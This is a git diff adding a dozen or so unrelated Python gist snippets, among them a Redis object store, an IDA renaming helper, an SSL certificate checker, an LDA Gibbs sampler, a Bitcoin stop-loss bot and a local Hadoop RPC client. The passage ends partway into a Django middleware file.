Binary files /dev/null and b/hard-gists/540687/._snippet.py differ
diff --git a/hard-gists/540687/snippet.py b/hard-gists/540687/snippet.py
new file mode 100644
index 00000000..694f1b8a
--- /dev/null
+++ b/hard-gists/540687/snippet.py
@@ -0,0 +1,100 @@
+import jsonpickle
+import domain
+
+"""
+Based on the premise that any object can be identified by its class name and
+a the value of a unique attribute (primary key) which is here reffered to as the identity
+"""
+
+def make_attribute_key(obj,attribute):
+    """
+    Returns a key for a given attribute/property of an object
+    """
+    basic_key = _make_basic_key(obj.__class__.__name__, obj.get_identity())
+    return basic_key + attribute
+
+def exists(db, class_name, identity):
+    """
+    Checks if a specific object exists in the redis store
+    """
+    result_keys = keys(db,class_name, identity)
+    return True if len(result_keys) else False
+
+def keys(db, class_name, identity):
+    """
+    Returns all keys for a given object
+    """
+    pattern = _make_key_pattern(class_name, identity)
+    return db.keys(pattern)
+
+def set(db, k, v):
+    db.set(k,jsonpickle.encode(v))
+
+def get(db,k):
+    return jsonpickle.decode(db.get(k))
+
+def mset(db, kv_dict):
+    for k,v in kv_dict.iteritems():
+        kv_dict[k] = jsonpickle.encode(v)
+    db.mset(kv_dict)
+
+def mget(db, keys):
+    return [jsonpickle.decode(each) for each in db.mget(keys)]
+
+def save(db, obj):
+    mset(db, _make_pairs(obj))
+
+def multisave(db, objs):
+    """
+    Saves multiple objects in one operation using a mset
+    """
+    pairs = {}
+    for each in objs:
+        pairs.update(_make_pairs(each))
+    mset(db, pairs)
+
+def delete(db, obj):
+    [db.delete(each) for each in keys(db, obj.__class__.__name__, obj.get_identity())]
+
+
+def read(db, class_name, identity):
+    obj = getattr(domain, class_name)()
+    result_keys = keys(db, class_name, identity)
+    results = mget(db, result_keys)
+    [setattr(obj, _extract_attribute(k), v) for k,v in zip(result_keys, results)]
+    return obj
+
+def read_attribute(db, class_name, identity, attrib):
+    basic_key = _make_basic_key(class_name, identity)
+    return get(db, basic_key + attrib)
+
+""" Privates for key building"""
+
+def _extract_attribute(key):
+    return key.split(_sep())[-1]
+
+def _sep():
+    return '::'
+
+def _make_basic_key(class_name, identity):
+    return 'qackle' + _sep() + class_name + _sep() + identity + _sep()
+
+def _make_key_pattern(class_name, identity):
+    return _make_basic_key(class_name, identity) + '*'
+
+
+""" Privates for object attributes"""
+
+def _get_attributes(obj):
+    return [each for each in dir(obj) if not each.startswith('_') and not callable(getattr(obj, each))]
+
+def _make_pairs(obj):
+    """
+    Returns a dict where the keys are keys that denote an object property and value is the value
+    of that property
+    """
+    attributes = _get_attributes(obj)
+    pairs = {}
+    for each in attributes:
+        pairs[make_attribute_key(obj, each)] = getattr(obj, each)
+    return pairs
\ No newline at end of file
diff --git a/hard-gists/5409581/._snippet.py b/hard-gists/5409581/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5409581/._snippet.py differ
diff --git a/hard-gists/5409581/snippet.py b/hard-gists/5409581/snippet.py
new file mode 100644
index 00000000..58483a9e
--- /dev/null
+++ b/hard-gists/5409581/snippet.py
@@ -0,0 +1,61 @@
+'''
+rename_selected_relation_box.py
+Written by Alex Forsythe (awforsythe.com)
+
+When executed, attempts to locate any selected box within any relation
+constraint in the scene. If a selected relation box is found, prompts the user
+to enter a new name for that box. Allows relation boxes to be given more
+descriptive names. I'd recommend binding this script to a keyboard shortcut
+(see MotionBuilder/bin/config/Scripts/ActionScript.txt) for quick access.
+'''
+
+from pyfbsdk import *
+
+def get_first(f, xs):
+    '''
+    Returns the first x in xs for which f returns True, or else None.
+    '''
+    for x in xs:
+        if f(x):
+            return x
+    return None
+   
+def get_selected_relation_box():
+    '''
+    Returns a relation constraint box which has been selected by the user, or
+    None if no relation boxes are selected.
+    '''
+    for relation in [c for c in FBSystem().Scene.Constraints if c.Is(FBConstraintRelation_TypeInfo())]:
+        box = get_first(lambda box: box.Selected, relation.Boxes)
+        if box:
+            return box
+    return None
+
+def get_new_box_name(box):
+    '''
+    Prompts the user to enter a new name for the given box. Returns the new
+    name if the user confirms the rename operation, or None if the user
+    cancels.
+    '''    
+    button, string = FBMessageBoxGetUserValue(
+        'Rename Box?',
+        'Current name: %s' % box.Name,
+        box.Name,
+        FBPopupInputType.kFBPopupString,
+        'Rename',
+        'Cancel')
+    return string if button == 1 else None
+
+def rename_selected_relation_box():
+    '''
+    Prompts the user to enter a new name for a selected relation constraint
+    box. If no boxes are selected, has no effect.
+    '''    
+    box = get_selected_relation_box()
+    if box:
+        name = get_new_box_name(box)
+        if name:
+            box.Name = name  
+
+if __name__ in ('__main__', '__builtin__'):
+    rename_selected_relation_box()
diff --git a/hard-gists/540f615dd9d54de47dc52b0ca60522c1/._snippet.py b/hard-gists/540f615dd9d54de47dc52b0ca60522c1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/540f615dd9d54de47dc52b0ca60522c1/._snippet.py differ
diff --git a/hard-gists/540f615dd9d54de47dc52b0ca60522c1/snippet.py b/hard-gists/540f615dd9d54de47dc52b0ca60522c1/snippet.py
new file mode 100644
index 00000000..5e5f0a4f
--- /dev/null
+++ b/hard-gists/540f615dd9d54de47dc52b0ca60522c1/snippet.py
@@ -0,0 +1,26 @@
+import idc
+import idaapi
+import idautils
+
+
+def rename_sub_functions(fva, prefix):
+    sub_funcs = set([])
+    for f in idautils.Functions():
+        for xref in idautils.XrefsTo(f):
+            subf = idaapi.get_func(xref.frm)
+            if not subf:
+                continue
+
+            if subf.startEA == fva:
+                sub_funcs.add(f)
+                break
+
+    for sub_func in sub_funcs:
+        current_name = idc.GetFunctionName(sub_func)
+        if current_name.startswith(prefix):
+            continue
+        new_name = prefix + current_name
+        idc.MakeName(sub_func, new_name)
+
+if __name__ == '__main__':
+    rename_sub_functions(idc.ScreenEA(), "test_")
\ No newline at end of file
diff --git a/hard-gists/5415296/._snippet.py b/hard-gists/5415296/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5415296/._snippet.py differ
diff --git a/hard-gists/5415296/snippet.py b/hard-gists/5415296/snippet.py
new file mode 100644
index 00000000..e2b21da0
--- /dev/null
+++ b/hard-gists/5415296/snippet.py
@@ -0,0 +1,27 @@
+from django.views.generic import View
+from django.core.exceptions import ImproperlyConfigured
+from django.contrib.auth.views import login
+
+
+class WrapperView(View):
+
+    @property
+    def view_function(self):
+        raise ImproperlyConfigured("You must define a 'view_function'.")
+
+    def dispatch(self, *args, **kwargs):
+        kwargs.update(self.get_settings())
+        return self.view_function.im_func(*args, **kwargs)
+
+    def get_settings(self):
+        return {}
+
+
+class LoginView(WrapperView):
+    view_function = login
+    template_name = 'accounts/login.html'
+
+    def get_settings(self):
+        return {
+            'template_name': self.template_name
+        }
diff --git a/hard-gists/5415869/._snippet.py b/hard-gists/5415869/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5415869/._snippet.py differ
diff --git a/hard-gists/5415869/snippet.py b/hard-gists/5415869/snippet.py
new file mode 100644
index 00000000..37147145
--- /dev/null
+++ b/hard-gists/5415869/snippet.py
@@ -0,0 +1,47 @@
+#! /usr/bin/env python3
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+# In this prototype/example a QTreeView is created. Then it's populated with
+# three containers and all containers are populated with three rows, each 
+# containing three columns.
+# Then the last container is expanded and the last row is selected.
+# The container items are spanned through the all columns.
+# Note: this requires > python-3.2
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+import sys, os, pprint, time
+from PySide.QtCore import *
+from PySide.QtGui import *
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+app = QApplication(sys.argv)
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+# init widgets
+view = QTreeView()
+view.setSelectionBehavior(QAbstractItemView.SelectRows)
+model = QStandardItemModel()
+model.setHorizontalHeaderLabels(['col1', 'col2', 'col3'])
+view.setModel(model)
+view.setUniformRowHeights(True)
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+# populate data
+for i in range(3):
+    parent1 = QStandardItem('Family {}. Some long status text for sp'.format(i))
+    for j in range(3):
+        child1 = QStandardItem('Child {}'.format(i*3+j))
+        child2 = QStandardItem('row: {}, col: {}'.format(i, j+1))
+        child3 = QStandardItem('row: {}, col: {}'.format(i, j+2))
+        parent1.appendRow([child1, child2, child3])
+    model.appendRow(parent1)
+    # span container columns
+    view.setFirstColumnSpanned(i, view.rootIndex(), True)
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+# expand third container
+index = model.indexFromItem(parent1)
+view.expand(index)
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+# select last row
+selmod = view.selectionModel()
+index2 = model.indexFromItem(child3)
+selmod.select(index2, QItemSelectionModel.Select|QItemSelectionModel.Rows)
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+view.show()
+sys.exit(app.exec_())
+# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/hard-gists/5420020/._snippet.py b/hard-gists/5420020/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5420020/._snippet.py differ
diff --git a/hard-gists/5420020/snippet.py b/hard-gists/5420020/snippet.py
new file mode 100644
index 00000000..0dd17384
--- /dev/null
+++ b/hard-gists/5420020/snippet.py
@@ -0,0 +1,31 @@
+#!/usr/bin/python
+
+import sys
+from PIL import Image
+
+def avhash(im):
+    if not isinstance(im, Image.Image):
+        im = Image.open(im)
+    im = im.resize((8, 8), Image.ANTIALIAS).convert('L')
+    avg = reduce(lambda x, y: x + y, im.getdata()) / 64.
+    return reduce(lambda x, (y, z): x | (z << y),
+                  enumerate(map(lambda i: 0 if i < avg else 1, im.getdata())),
+                  0)
+
+def hamming(h1, h2):
+    h, d = 0, h1 ^ h2
+    while d:
+        h += 1
+        d &= d - 1
+    return h
+
+if __name__ == '__main__':
+    if len(sys.argv) != 3:
+        print "Usage: %s img1 img2" % sys.argv[0]
+    else:
+        img1 = sys.argv[1]
+        img2 = sys.argv[2]
+        hash1 = avhash(img1)
+        hash2 = avhash(img2)
+        dist = hamming(hash1, hash2)
+        print "hash(%s) = %d\nhash(%s) = %d\nhamming distance = %d\nsimilarity = %d%%" % (img1, hash1, img2, hash2, dist, (64 - dist) * 100 / 64)
diff --git a/hard-gists/5420652/._snippet.py b/hard-gists/5420652/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5420652/._snippet.py differ
diff --git a/hard-gists/5420652/snippet.py b/hard-gists/5420652/snippet.py
new file mode 100644
index 00000000..a4f4087b
--- /dev/null
+++ b/hard-gists/5420652/snippet.py
@@ -0,0 +1,94 @@
+from M2Crypto import SSL
+from M2Crypto.SSL.Checker import SSLVerificationError, NoCertificate, WrongCertificate, WrongHost
+import socket, re
+from datetime import datetime
+import pytz
+
+class ValidationResults:
+    
+    def __init__(self):
+        self.connection_error = False
+        self.no_certificate = False
+        self.wrong_certificate = False
+        self.wrong_host = False
+        self.certificate_expired = False
+        self.expiration_date = None
+        self.unknown_error = False
+        self.inner_exception = None
+        
+    def __str__(self):
+        return """
+Connection error:\t%s
+No certificate:\t\t%s
+Wrong certificate:\t%s
+Wrong host:\t\t%s
+Certificate expired:\t%s
+Expiration date:\t%s
+Unknown error:\t\t%s
+Inner exception:\t%s
+
+        """ % (self.connection_error,
+        self.no_certificate,
+        self.wrong_certificate,
+        self.wrong_host,
+        self.certificate_expired,
+        self.expiration_date,
+        self.unknown_error,
+        self.inner_exception,)
+    
+class Validator:
+    
+    numericIpMatch = re.compile('^[0-9]+(\.[0-9]+)*$')
+    valid_hostname = False
+    
+    def __init__(self):
+        pass
+        
+    def __call__(self, hostname, get_cert_from, port):
+        val_results = ValidationResults()
+                
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+        cxt = SSL.Context()
+        cxt.set_verify(SSL.verify_none, depth=1)
+
+        SSL.Connection.clientPostConnectionCheck = None # we'll verify things later manually!
+
+        try:
+            c = SSL.Connection(cxt, sock)
+            c.connect((get_cert_from, port))
+            cert = c.get_peer_cert()
+        except Exception, e:
+            # socket connection
+            val_results.connection_error = True
+            val_results.inner_exception = e
+            return val_results
+            
+        # NoCertificate WrongCertificate WrongHost ValueError
+        try:
+            c = SSL.Checker.Checker(hostname)
+            c(cert)
+        except NoCertificate:
+            val_results.no_certificate = True
+        except WrongCertificate:
+            val_results.wrong_certificate = True
+        except WrongHost:
+            val_results.wrong_host = True
+        except Exception, e:
+            val_results.unknown_error = True
+            val_results.inner_exception = e
+        
+        if cert.get_not_after().get_datetime() <= datetime.now(tz=pytz.utc):
+            val_results.certificate_expired = True
+            
+        val_results.expiration_date = cert.get_not_after().get_datetime()
+        
+        return val_results
+
+if __name__ == '__main__':
+    get_cert_from = 'imap.gmail.com'
+    hostname = 'imap.gmail.com'
+    port = 993
+    v = Validator()
+    print v(hostname, get_cert_from, port)
+    exit
\ No newline at end of file
diff --git a/hard-gists/542786/._snippet.py b/hard-gists/542786/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/542786/._snippet.py differ
diff --git a/hard-gists/542786/snippet.py b/hard-gists/542786/snippet.py
new file mode 100644
index 00000000..d6f64941
--- /dev/null
+++ b/hard-gists/542786/snippet.py
@@ -0,0 +1,245 @@
+"""
+(C) Mathieu Blondel - 2010
+License: BSD 3 clause
+
+Implementation of the collapsed Gibbs sampler for
+Latent Dirichlet Allocation, as described in
+
+Finding scientifc topics (Griffiths and Steyvers)
+"""
+
+import numpy as np
+import scipy as sp
+from scipy.special import gammaln
+
+def sample_index(p):
+    """
+    Sample from the Multinomial distribution and return the sample index.
+    """
+    return np.random.multinomial(1,p).argmax()
+
+def word_indices(vec):
+    """
+    Turn a document vector of size vocab_size to a sequence
+    of word indices. The word indices are between 0 and
+    vocab_size-1. The sequence length is equal to the document length.
+    """
+    for idx in vec.nonzero()[0]:
+        for i in xrange(int(vec[idx])):
+            yield idx
+
+def log_multi_beta(alpha, K=None):
+    """
+    Logarithm of the multinomial beta function.
+    """
+    if K is None:
+        # alpha is assumed to be a vector
+        return np.sum(gammaln(alpha)) - gammaln(np.sum(alpha))
+    else:
+        # alpha is assumed to be a scalar
+        return K * gammaln(alpha) - gammaln(K*alpha)
+
+class LdaSampler(object):
+
+    def __init__(self, n_topics, alpha=0.1, beta=0.1):
+        """
+        n_topics: desired number of topics
+        alpha: a scalar (FIXME: accept vector of size n_topics)
+        beta: a scalar (FIME: accept vector of size vocab_size)
+        """
+        self.n_topics = n_topics
+        self.alpha = alpha
+        self.beta = beta
+
+    def _initialize(self, matrix):
+        n_docs, vocab_size = matrix.shape
+
+        # number of times document m and topic z co-occur
+        self.nmz = np.zeros((n_docs, self.n_topics))
+        # number of times topic z and word w co-occur
+        self.nzw = np.zeros((self.n_topics, vocab_size))
+        self.nm = np.zeros(n_docs)
+        self.nz = np.zeros(self.n_topics)
+        self.topics = {}
+
+        for m in xrange(n_docs):
+            # i is a number between 0 and doc_length-1
+            # w is a number between 0 and vocab_size-1
+            for i, w in enumerate(word_indices(matrix[m, :])):
+                # choose an arbitrary topic as first topic for word i
+                z = np.random.randint(self.n_topics)
+                self.nmz[m,z] += 1
+                self.nm[m] += 1
+                self.nzw[z,w] += 1
+                self.nz[z] += 1
+                self.topics[(m,i)] = z
+
+    def _conditional_distribution(self, m, w):
+        """
+        Conditional distribution (vector of size n_topics).
+        """
+        vocab_size = self.nzw.shape[1]
+        left = (self.nzw[:,w] + self.beta) / \
+               (self.nz + self.beta * vocab_size)
+        right = (self.nmz[m,:] + self.alpha) / \
+                (self.nm[m] + self.alpha * self.n_topics)
+        p_z = left * right
+        # normalize to obtain probabilities
+        p_z /= np.sum(p_z)
+        return p_z
+
+    def loglikelihood(self):
+        """
+        Compute the likelihood that the model generated the data.
+        """
+        vocab_size = self.nzw.shape[1]
+        n_docs = self.nmz.shape[0]
+        lik = 0
+
+        for z in xrange(self.n_topics):
+            lik += log_multi_beta(self.nzw[z,:]+self.beta)
+            lik -= log_multi_beta(self.beta, vocab_size)
+
+        for m in xrange(n_docs):
+            lik += log_multi_beta(self.nmz[m,:]+self.alpha)
+            lik -= log_multi_beta(self.alpha, self.n_topics)
+
+        return lik
+
+    def phi(self):
+        """
+        Compute phi = p(w|z).
+        """
+        V = self.nzw.shape[1]
+        num = self.nzw + self.beta
+        num /= np.sum(num, axis=1)[:, np.newaxis]
+        return num
+
+    def run(self, matrix, maxiter=30):
+        """
+        Run the Gibbs sampler.
+        """
+        n_docs, vocab_size = matrix.shape
+        self._initialize(matrix)
+
+        for it in xrange(maxiter):
+            for m in xrange(n_docs):
+                for i, w in enumerate(word_indices(matrix[m, :])):
+                    z = self.topics[(m,i)]
+                    self.nmz[m,z] -= 1
+                    self.nm[m] -= 1
+                    self.nzw[z,w] -= 1
+                    self.nz[z] -= 1
+
+                    p_z = self._conditional_distribution(m, w)
+                    z = sample_index(p_z)
+
+                    self.nmz[m,z] += 1
+                    self.nm[m] += 1
+                    self.nzw[z,w] += 1
+                    self.nz[z] += 1
+                    self.topics[(m,i)] = z
+
+            # FIXME: burn-in and lag!
+            yield self.phi()
+
+if __name__ == "__main__":
+    import os
+    import shutil
+
+    N_TOPICS = 10
+    DOCUMENT_LENGTH = 100
+    FOLDER = "topicimg"
+
+    def vertical_topic(width, topic_index, document_length):
+        """
+        Generate a topic whose words form a vertical bar.
+        """
+        m = np.zeros((width, width))
+        m[:, topic_index] = int(document_length / width)
+        return m.flatten()
+
+    def horizontal_topic(width, topic_index, document_length):
+        """
+        Generate a topic whose words form a horizontal bar.
+        """
+        m = np.zeros((width, width))
+        m[topic_index, :] = int(document_length / width)
+        return m.flatten()
+
+    def save_document_image(filename, doc, zoom=2):
+        """
+        Save document as an image.
+
+        doc must be a square matrix
+        """
+        height, width = doc.shape
+        zoom = np.ones((width*zoom, width*zoom))
+        # imsave scales pixels between 0 and 255 automatically
+        sp.misc.imsave(filename, np.kron(doc, zoom))
+
+    def gen_word_distribution(n_topics, document_length):
+        """
+        Generate a word distribution for each of the n_topics.
+        """
+        width = n_topics / 2
+        vocab_size = width ** 2
+        m = np.zeros((n_topics, vocab_size))
+
+        for k in range(width):
+            m[k,:] = vertical_topic(width, k, document_length)
+
+        for k in range(width):
+            m[k+width,:] = horizontal_topic(width, k, document_length)
+
+        m /= m.sum(axis=1)[:, np.newaxis] # turn counts into probabilities
+
+        return m
+
+    def gen_document(word_dist, n_topics, vocab_size, length=DOCUMENT_LENGTH, alpha=0.1):
+        """
+        Generate a document:
+            1) Sample topic proportions from the Dirichlet distribution.
+            2) Sample a topic index from the Multinomial with the topic
+               proportions from 1).
+            3) Sample a word from the Multinomial corresponding to the topic
+               index from 2).
+            4) Go to 2) if need another word.
+        """
+        theta = np.random.mtrand.dirichlet([alpha] * n_topics)
+        v = np.zeros(vocab_size)
+        for n in range(length):
+            z = sample_index(theta)
+            w = sample_index(word_dist[z,:])
+            v[w] += 1
+        return v
+
+    def gen_documents(word_dist, n_topics, vocab_size, n=500):
+        """
+        Generate a document-term matrix.
+        """
+        m = np.zeros((n, vocab_size))
+        for i in xrange(n):
+            m[i, :] = gen_document(word_dist, n_topics, vocab_size)
+        return m
+
+    if os.path.exists(FOLDER):
+        shutil.rmtree(FOLDER)
+    os.mkdir(FOLDER)
+
+    width = N_TOPICS / 2
+    vocab_size = width ** 2
+    word_dist = gen_word_distribution(N_TOPICS, DOCUMENT_LENGTH)
+    matrix = gen_documents(word_dist, N_TOPICS, vocab_size)
+    sampler = LdaSampler(N_TOPICS)
+
+    for it, phi in enumerate(sampler.run(matrix)):
+        print "Iteration", it
+        print "Likelihood", sampler.loglikelihood()
+
+        if it % 5 == 0:
+            for z in range(N_TOPICS):
+                save_document_image("topicimg/topic%d-%d.png" % (it,z),
+                                    phi[z,:].reshape(width,-1))
+
+
diff --git a/hard-gists/5437131/._snippet.py b/hard-gists/5437131/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5437131/._snippet.py differ
diff --git a/hard-gists/5437131/snippet.py b/hard-gists/5437131/snippet.py
new file mode 100644
index 00000000..93a66063
--- /dev/null
+++ b/hard-gists/5437131/snippet.py
@@ -0,0 +1,69 @@
+"""
+a simple stop loss bot.
+adjust STOP_PRICE and STOP_VOLUME to your needs.
+The file can be reloaded after editing without
+restarting goxtool by simply pressing the l key.
+"""
+import strategy
+import goxapi
+
+# pylint: disable=C0301
+
+# USD (EUR or other Fiat) price for the sell stop
+# positive values are an absolute fixed price,
+# negative values enable trailing stop mode and the
+# value is the trailing distance
+STOP_PRICE  = -5
+
+# how many BTC to sell at or below the stop price
+STOP_VOLUME = 0.01
+
+class Strategy(strategy.Strategy):
+    """a simple stoploss bot"""
+    def __init__(self, gox):
+        strategy.Strategy.__init__(self, gox)
+        gox.history.signal_changed.connect(self.slot_changed)
+        self.already_executed = False
+        if STOP_PRICE < 0:
+            self.debug("initializing trailing stop: %f @ %f" % (STOP_VOLUME, STOP_PRICE))
+            self.stop_price = 0
+            self.trail_distance = goxapi.float2int(-STOP_PRICE, gox.currency)
+            gox.history.signal_changed(gox.history, None) # fire the signal once
+        else:
+            self.debug("initializing stop loss: %f @ %f" % (STOP_VOLUME, STOP_PRICE))
+            self.stop_price = goxapi.float2int(STOP_PRICE, gox.currency)
+            self.trail_distance = 0
+
+    def slot_changed(self, history, _no_data):
+        """price history has changed (new trades in history)"""
+        if self.already_executed:
+            return
+
+        last_candle = history.last_candle()
+        if not last_candle:
+            return
+
+        price_last =  last_candle.cls
+        if self.trail_distance:
+            price_trail = price_last - self.trail_distance
+            if price_trail > self.stop_price:
+                self.stop_price = price_trail
+                self.debug("*** trailed stop to %f" %
+                    goxapi.int2float(self.stop_price, self.gox.currency))
+
+        if not self.stop_price:
+            return
+
+        if price_last <= self.stop_price:
+            self.debug("*** market order: sell %f at %f" % (STOP_VOLUME, STOP_PRICE))
+            self.gox.sell(0, int(STOP_VOLUME * 1e8))
+            self.already_executed = True
+
+    def slot_trade(self, gox, (date, price, volume, typ, own)):
+        """a trade message has been received"""
+        if not own:
+            return
+
+        vol = goxapi.int2float(volume, "BTC")
+        prc = goxapi.int2float(price, gox.currency)
+        self.debug("*** order filled: %f at %f %s" % (vol, prc, gox.currency))
diff --git a/hard-gists/5437436/._snippet.py b/hard-gists/5437436/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5437436/._snippet.py differ
diff --git a/hard-gists/5437436/snippet.py b/hard-gists/5437436/snippet.py
new file mode 100644
index 00000000..c877a4ae
--- /dev/null
+++ b/hard-gists/5437436/snippet.py
@@ -0,0 +1,98 @@
+#Libraries to run program
+import os,sys
+from PIL import Image
+import math
+import serial as Serial
+import time
+import pygame
+import pygame.camera
+
+serial = Serial.Serial('/dev/ttyACM0',9600)
+
+
+'''This function as for what object is to be scanned and creates a 
+directory on the desktop'''
+def createDir():	
+	title = raw_input("Object to be scanned: ")
+	desktop = r'/home/Desktop'
+	direc = os.path.join(desktop,title)
+	os.makedirs(direc)
+	print 'Directory created on desktop!'
+	return direc,title
+	
+'''Next it is required for the camera to capture a photo of the object 
+and communicate with the arduino to continually capture and rotate 1 
+step. The total number of steps for this motor is 200 steps. A '1' will
+be sent to the Arduino as the controller will interprete this serial to 
+rotate 1 step'''
+def capture(direc,title):
+	#Used to determine USB camera and enable camera
+	pygame.camera.init()
+	#camlist = pygame.camera.list_cameras()
+	#print camlist
+	cam = pygame.camera.Camera("/dev/video0",(640,480))
+	cam.start()
+	
+	for i in range(200):
+		print ('Capturing Image %i...' % i)
+		image = cam.get_image()
+		print ('Saving Image %i...' % i)
+		image_list = [title,'_',str(i),'.jpg']
+		image_name = "".join(image_list)
+		image_save = os.path.join(direc,image_name)
+		pygame.image.save(image,image_save)
+		time.sleep(3)
+		#FROM HERE DOWN...AFTER THE IMAGE IS CAPTURED AND SAVED
+		#THE ARDUINO NEEDS TO BE SIGNALLED TO ROTATE 1 STEP
+		serial.write('1')
+		time.sleep(3)
+	
+	print 'Object geometry captured!!!'
+	cam.stop()
+
+
+'''This is completed from a directory that all has the same image
+to work no the section of code that actually analysis the photos '''
+def analysis(direc):
+	#This contains stepper motor steps, phases on each step, angle
+	#between camera and laster and iteration. The asc file is also
+	#created but needs to have the path and better name
+	phases = 200
+	phases_each = 2*math.pi/phases
+	pheta = 20*math.pi/180
+	itr = 0
+	out = open('Results.asc','w')
+	for file in os.listdir(direc):
+		scan = Image.open(os.path.join(direc,file))
+		width,height = scan.size
+		fi = itr*phases_each
+		print 'Analyzing photo ' + file
+		for y in range(height):
+			maxBrightPos = [0,0]
+			maxBright = 0
+			for x in range(width):
+				currentPos = [x,y]
+				pixelRGB = scan.getpixel((x,y))
+				R,G,B = pixelRGB
+				brightness = R
+				if (brightness>maxBright):
+					maxBright = brightness
+					maxBrightPos = currentPos
+			b = maxBrightPos[0]-(width/2)
+			ro = b/math.sin(pheta)
+			
+			x_coord = ro*math.cos(fi)
+			y_coord = ro*math.sin(fi)
+			z_coord = y
+			
+			if b > 0:
+				out.write(str(x_coord) + ',' + str(y_coord) + ',' + str(z_coord) + '\n')
+		itr = itr+1
+	out.close()
+	
+
+direc, title = createDir()
+capture(direc,title)
+analysis(direc)
+
+x = raw_input('')
\ No newline at end of file
diff --git a/hard-gists/5441636/._snippet.py b/hard-gists/5441636/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5441636/._snippet.py differ
diff --git a/hard-gists/5441636/snippet.py b/hard-gists/5441636/snippet.py
new file mode 100644
index 00000000..95a89e8e
--- /dev/null
+++ b/hard-gists/5441636/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/python
+
+import socket
+import struct
+from protobuf import IpcConnectionContext_pb2 as IpcConnectionContext
+from protobuf import RpcPayloadHeader_pb2 as RpcPayloadHeader
+
+# --- Connection header ---
+# Client.writeConnectionHeader()
+preamble = (
+            "hrpc"  # Server.HEADER
+            "\7"    # Server.CURRENT_VERSION
+            "P"     # AuthMethod.SIMPLE
+            "\0"    # Server.IpcSerializationType.PROTOBUF
+            )
+
+protocol = "org.apache.hadoop.mapred.JobSubmissionProtocol"
+
+# --- Connection context ---
+# Client.writeConnectionContext()
+context = IpcConnectionContext.IpcConnectionContextProto()
+context.userInfo.effectiveUser = "tsuna"
+context.protocol = protocol
+context = context.SerializeToString()
+hello = preamble + struct.pack(">I", len(context)) + context
+
+# --- RPC ---
+# Client.sendParam()
+header = RpcPayloadHeader.RpcPayloadHeaderProto()
+header.rpcKind = RpcPayloadHeader.RPC_WRITABLE
+header.rpcOp = RpcPayloadHeader.RPC_FINAL_PAYLOAD
+header.callId = 0
+header = header.SerializeToString()
+assert len(header) <= 127, repr(header)
+header = chr(len(header)) + header
+
+# --- Payload ---
+# Because we chose RPC_WRITABLE, our payload is a WritableRpcEngine$Invocation.
+writableRpcVersion = 2
+payload = struct.pack(">Q", writableRpcVersion)  # 8 bytes, lolz
+payload += struct.pack(">H", len(protocol)) + protocol
+method = "getAllJobs"
+payload += struct.pack(">H", len(method)) + method
+clientVersion = 28
+payload += struct.pack(">Q", clientVersion)  # 8 bytes again, lolz again
+clientMethodsHash = 0xDEADBEEF  # Unused crap
+payload += struct.pack(">I", clientMethodsHash)
+numParams = 0
+payload += struct.pack(">I", numParams)
+
+payload = header + payload
+rpc = struct.pack(">I", len(payload)) + payload
+
+sock = socket.socket()
+sock.connect(("127.0.0.1", 8021))
+sock.sendall(hello + rpc)
+print repr(sock.recv(4096))  # TBD: read output properly and deserialize it
\ No newline at end of file
diff --git a/hard-gists/5441be08c6d80ca55040678bcd79c3c5/._snippet.py b/hard-gists/5441be08c6d80ca55040678bcd79c3c5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5441be08c6d80ca55040678bcd79c3c5/._snippet.py differ
diff --git a/hard-gists/5441be08c6d80ca55040678bcd79c3c5/snippet.py b/hard-gists/5441be08c6d80ca55040678bcd79c3c5/snippet.py
new file mode 100644
index 00000000..4f7d3a7c
--- /dev/null
+++ b/hard-gists/5441be08c6d80ca55040678bcd79c3c5/snippet.py
@@ -0,0 +1,39 @@
+"""Middleware that removes additional meaningless backslashes.
+
+This transforms URLs as follows:
+  - yourwebsite.com// to yourwebsite.com
+  - yourwebsite.com/section/// to yourwebsite.com/section
+
+
+Ideally, this middleware should be placed before Commonmiddleware to avoid
+conflicts with APPEND_SLASH. However, this code already appends final slash
+if APPEND_SLASH is set to TRUE trying to reduce one additional redirect.
+"""
+from django.conf import settings
+from django.http import HttpResponsePermanentRedirect
+from django.utils.deprecation import MiddlewareMixin
+from django.utils.encoding import escape_uri_path, iri_to_uri
+
+
